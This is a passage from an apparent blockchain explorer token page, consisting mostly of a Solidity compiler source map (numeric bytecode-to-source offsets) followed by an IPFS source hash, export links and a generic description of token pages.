;;;;;;;;;;;;;;;;;;;;;;;6005:83;:::o;6927:199::-;7031:4;7055:41;193:10;7078:7;7087:8;7055;:41::i;:::-;-1:-1:-1;7114:4:0;6927:199;;;;:::o;7134:620::-;7275:4;7292:45;7302:12;7316:10;7328:8;7292:9;:45::i;:::-;7387:9;;7364:68;;-1:-1:-1;;;7364:68:0;;-1:-1:-1;;;;;2786:32:1;;;7364:68:0;;;2768:51:1;7348:13:0;;7364:54;;;;2741:18:1;;7364:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7348:84;-1:-1:-1;;;;;;7447:19:0;;;;;;:66;;-1:-1:-1;7502:9:0;;-1:-1:-1;;;;;7470:43:0;193:10;-1:-1:-1;;;;;7470:43:0;;7447:66;7443:128;;;7554:5;7539:20;;7443:128;7581:143;7590:12;193:10;7617:96;7661:8;7617:96;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7617:25:0;;;;;;:11;:25;;;;;;;;193:10;7617:39;;;;;;;;;;:43;:96::i;:::-;7581:8;:143::i;:::-;-1:-1:-1;7742:4:0;;7134:620;-1:-1:-1;;;;7134:620:0:o;7762:300::-;193:10;7877:4;7971:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7971:34:0;;;;;;;;;;7877:4;;7899:133;;7949:7;;7971:50;;8010:10;7971:38;:50::i;2705:148::-;2620:6;;-1:-1:-1;;;;;2620:6:0;193:10;2620:22;2612:67;;;;-1:-1:-1;;;2612:67:0;;;;;;;:::i;:::-;;;;;;;;;2812:1:::1;2796:6:::0;;2775:40:::1;::::0;-1:-1:-1;;;;;2796:6:0;;::::1;::::0;2775:40:::1;::::0;2812:1;;2775:40:::1;2843:1;2826:19:::0;;-1:-1:-1;;;;;;2826:19:0::1;::::0;;2705:148::o;4832:868::-;2620:6;;-1:-1:-1;;;;;2620:6:0;193:10;2620:22;2612:67;;;;-1:-1:-1;;;2612:67:0;;;;;;;:::i;:::-;5033:2:::1;5022:14:::0;::::1;5016:21:::0;5074:2:::1;5063:14:::0;::::1;5057:21:::0;5114:2:::1;5103:14:::0;::::1;5097:21:::0;5154:2:::1;5143:14:::0;;::::1;5137:21:::0;-1:-1:-1;;;;;5179:13:0;;::::1;:9;:13:::0;;;5204:32;;::::1;4907:9;5204:32:::0;;;:11:::1;:32;::::0;;;;;;;:53;;;;;;;;;-1:-1:-1;;5204:73:0;;;;5289:32;;;;;;:53;;::::1;::::0;;;;;;;;;:73;;;5374:32;;::::1;::::0;;;;;;;;;:53;;;;;;;;;:73;;;5458:53;;;;;;;;;:73;;;5555:8:::1;::::0;;;::::1;5543:21:::0;;;;;;;;:42;;;;;;;;;:62;;;5616:53;;;;;;;;:73;4832:868::o;6096:87::-;6135:13;6168:7;6161:14;;;;;:::i;8070:400::-;8190:4;8212:228;193:10;8262:7;8284:145;8341:15;8284:145;;;;;;;;;;;;;;;;;193:10;8284:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8284:34:0;;;;;;;;;;;;:38;:145::i;6522:205::-;6630:4;6652:45;193:10;6676;6688:8;6652:9;:45::i;5706:291::-;5772:9;5762;:19;5754:63;;;;-1:-1:-1;;;5754:63:0;;;;;;;:::i;:::-;5908:71;;5828:9;;;;;;;;5916:42;;5969:9;5908:71;;;;;5828:9;5908:71;5828:9;5908:71;5969:9;5916:42;5908:71;;;;;;;;;;;;;;;;;;;;;5743:254;;;;5706:291::o;2861:160::-;2620:6;;-1:-1:-1;;;;;2620:6:0;193:10;2620:22;2612:67;;;;-1:-1:-1;;;2612:67:0;;;;;;;:::i;:::-;2968:6:::1;::::0;;2947:38:::1;::::0;-1:-1:-1;;;;;2947:38:0;;::::1;::::0;2968:6;::::1;::::0;2947:38:::1;::::0;::::1;2996:6;:17:::0;;-1:-1:-1;;;;;;2996:17:0::1;-1:-1:-1::0;;;;;2996:17:0;;;::::1;::::0;;;::::1;::::0;;2861:160::o;8478:377::-;-1:-1:-1;;;;;8607:19:0;;8599:68;;;;-1:-1:-1;;;8599:68:0;;6897:2:1;8599:68:0;;;6879:21:1;6936:2;6916:18;;;6909:30;6975:34;6955:18;;;6948:62;-1:-1:-1;;;7026:18:1;;;7019:34;7070:19;;8599:68:0;6869:226:1;8599:68:0;-1:-1:-1;;;;;8686:21:0;;8678:68;;;;-1:-1:-1;;;8678:68:0;;4206:2:1;8678:68:0;;;4188:21:1;4245:2;4225:18;;;4218:30;4284:34;4264:18;;;4257:62;-1:-1:-1;;;4335:18:1;;;4328:32;4377:19;;8678:68:0;4178:224:1;8678:68:0;-1:-1:-1;;;;;8759:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:38;;;8813:34;;7658:25:1;;;8813:34:0;;7631:18:1;8813:34:0;;;;;;;;8478:377;;;:::o;8867:765::-;-1:-1:-1;;;;;9001:20:0;;8993:70;;;;-1:-1:-1;;;8993:70:0;;6491:2:1;8993:70:0;;;6473:21:1;6530:2;6510:18;;;6503:30;6569:34;6549:18;;;6542:62;-1:-1:-1;;;6620:18:1;;;6613:35;6665:19;;8993:70:0;6463:227:1;8993:70:0;-1:-1:-1;;;;;9082:24:0;;9074:80;;;;-1:-1:-1;;;9074:80:0;;7302:2:1;9074:80:0;;;7284:21:1;7341:2;7321:18;;;7314:30;7380:34;7360:18;;;7353:62;-1:-1:-1;;;7431:18:1;;;7424:41;7482:19;;9074:80:0;7274:233:1;9074:80:0;9184:1;9173:8;:12;9165:68;;;;-1:-1:-1;;;9165:68:0;;4965:2:1;9165:68:0;;;4947:21:1;5004:2;4984:18;;;4977:30;5043:34;5023:18;;;5016:62;-1:-1:-1;;;5094:18:1;;;5087:41;5145:19;;9165:68:0;4937:233:1;9165:68:0;9263:1;9252:8;:12;9244:66;;;;-1:-1:-1;;;9244:66:0;;6081:2:1;9244:66:0;;;6063:21:1;6120:2;6100:18;;;6093:30;6159:34;6139:18;;;6132:62;-1:-1:-1;;;6210:18:1;;;6203:39;6259:19;;9244:66:0;6053:231:1;9244:66:0;9354:9;;9331:73;;-1:-1:-1;;;9331:73:0;;-1:-1:-1;;;;;3088:15:1;;;9331:73:0;;;3070:34:1;3140:15;;;3120:18;;;3113:43;3172:18;;;3165:34;;;9416:1:0;;9331:44;;;;3005:18:1;;9331:73:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9331:87:0;;;9323:113;;;;-1:-1:-1;;;9323:113:0;;5377:2:1;9323:113:0;;;5359:21:1;5416:2;5396:18;;;5389:30;-1:-1:-1;;;5435:18:1;;;5428:44;5489:18;;9323:113:0;5349:164:1;9323:113:0;-1:-1:-1;;;;;9469:17:0;;;;;;:9;:17;;;;;;:31;;9491:8;9469:21;:31::i;:::-;-1:-1:-1;;;;;9449:17:0;;;;;;;:9;:17;;;;;;:51;;;;9535:21;;;;;;;:35;;9561:8;9535:25;:35::i;:::-;-1:-1:-1;;;;;9511:21:0;;;;;;;:9;:21;;;;;;;:59;;;;9586:38;;;;;;;;;;9615:8;7658:25:1;;7646:2;7631:18;;7613:76;816:226:0;936:7;972:12;964:6;;;;956:29;;;;-1:-1:-1;;;956:29:0;;;;;;;;:::i;:::-;-1:-1:-1;996:9:0;1008:5;1012:1;1008;:5;:::i;:::-;996:17;816:226;-1:-1:-1;;;;;816:226:0:o;487:179::-;545:7;;577:5;581:1;577;:5;:::i;:::-;565:17;;606:1;601;:6;;593:46;;;;-1:-1:-1;;;593:46:0;;4609:2:1;593:46:0;;;4591:21:1;4648:2;4628:18;;;4621:30;4687:29;4667:18;;;4660:57;4734:18;;593:46:0;4581:177:1;593:46:0;657:1;487:179;-1:-1:-1;;;487:179:0:o;674:136::-;732:7;759:43;763:1;766;759:43;;;;;;;;;;;;;;;;;:3;:43::i;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;142:1;139;132:12;94:2;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:2;;;405:1;402;395:12;357:2;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:2;;;667:1;664;657:12;619:2;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;609:301;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:2;;;1077:1;1074;1067:12;1029:2;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;1019:352;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;1019:352::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:2;;;1521:1;1518;1511:12;1473:2;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1463:228:1:o;1696:921::-;1764:6;1817:2;1805:9;1796:7;1792:23;1788:32;1785:2;;;1833:1;1830;1823:12;1785:2;1873:9;1860:23;1902:18;1943:2;1935:6;1932:14;1929:2;;;1959:1;1956;1949:12;1929:2;1997:6;1986:9;1982:22;1972:32;;2042:7;2035:4;2031:2;2027:13;2023:27;2013:2;;2064:1;2061;2054:12;2013:2;2100;2087:16;2122:2;2118;2115:10;2112:2;;;2128:18;;:::i;:::-;2203:2;2197:9;2171:2;2257:13;;-1:-1:-1;;2253:22:1;;;2277:2;2249:31;2245:40;2233:53;;;2301:18;;;2321:22;;;2298:46;2295:2;;;2347:18;;:::i;:::-;2387:10;2383:2;2376:22;2422:2;2414:6;2407:18;2462:7;2457:2;2452;2448;2444:11;2440:20;2437:33;2434:2;;;2483:1;2480;2473:12;2434:2;2539;2534;2530;2526:11;2521:2;2513:6;2509:15;2496:46;2584:1;2562:15;;;2579:2;2558:24;2551:35;;;;-1:-1:-1;2566:6:1;1775:842;-1:-1:-1;;;;;1775:842:1:o;3402:597::-;3514:4;3543:2;3572;3561:9;3554:21;3604:6;3598:13;3647:6;3642:2;3631:9;3627:18;3620:34;3672:1;3682:140;3696:6;3693:1;3690:13;3682:140;;;3791:14;;;3787:23;;3781:30;3757:17;;;3776:2;3753:26;3746:66;3711:10;;3682:140;;;3840:6;3837:1;3834:13;3831:2;;;3910:1;3905:2;3896:6;3885:9;3881:22;3877:31;3870:42;3831:2;-1:-1:-1;3983:2:1;3962:15;-1:-1:-1;;3958:29:1;3943:45;;;;3990:2;3939:54;;3523:476;-1:-1:-1;;;3523:476:1:o;5518:356::-;5720:2;5702:21;;;5739:18;;;5732:30;5798:34;5793:2;5778:18;;5771:62;5865:2;5850:18;;5692:182::o;7883:128::-;7923:3;7954:1;7950:6;7947:1;7944:13;7941:2;;;7960:18;;:::i;:::-;-1:-1:-1;7996:9:1;;7931:80::o;8016:125::-;8056:4;8084:1;8081;8078:8;8075:2;;;8089:18;;:::i;:::-;-1:-1:-1;8126:9:1;;8065:76::o;8146:380::-;8225:1;8221:12;;;;8268;;;8289:2;;8343:4;8335:6;8331:17;8321:27;;8289:2;8396;8388:6;8385:14;8365:18;8362:38;8359:2;;;8442:10;8437:3;8433:20;8430:1;8423:31;8477:4;8474:1;8467:15;8505:4;8502:1;8495:15;8359:2;;8201:325;;;:::o;8531:127::-;8592:10;8587:3;8583:20;8580:1;8573:31;8623:4;8620:1;8613:15;8647:4;8644:1;8637:15;8663:127;8724:10;8719:3;8715:20;8712:1;8705:31;8755:4;8752:1;8745:15;8779:4;8776:1;8769:15;8795:131;-1:-1:-1;;;;;8870:31:1;;8860:42;;8850:2;;8916:1;8913;8906:12;8850:2;8840:86;:::o
Swarm Source
ipfs://f3879f94f2e77ad4d1e30cefcd715fef86d0b83a07969bae11cb3cc8f4133c95
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.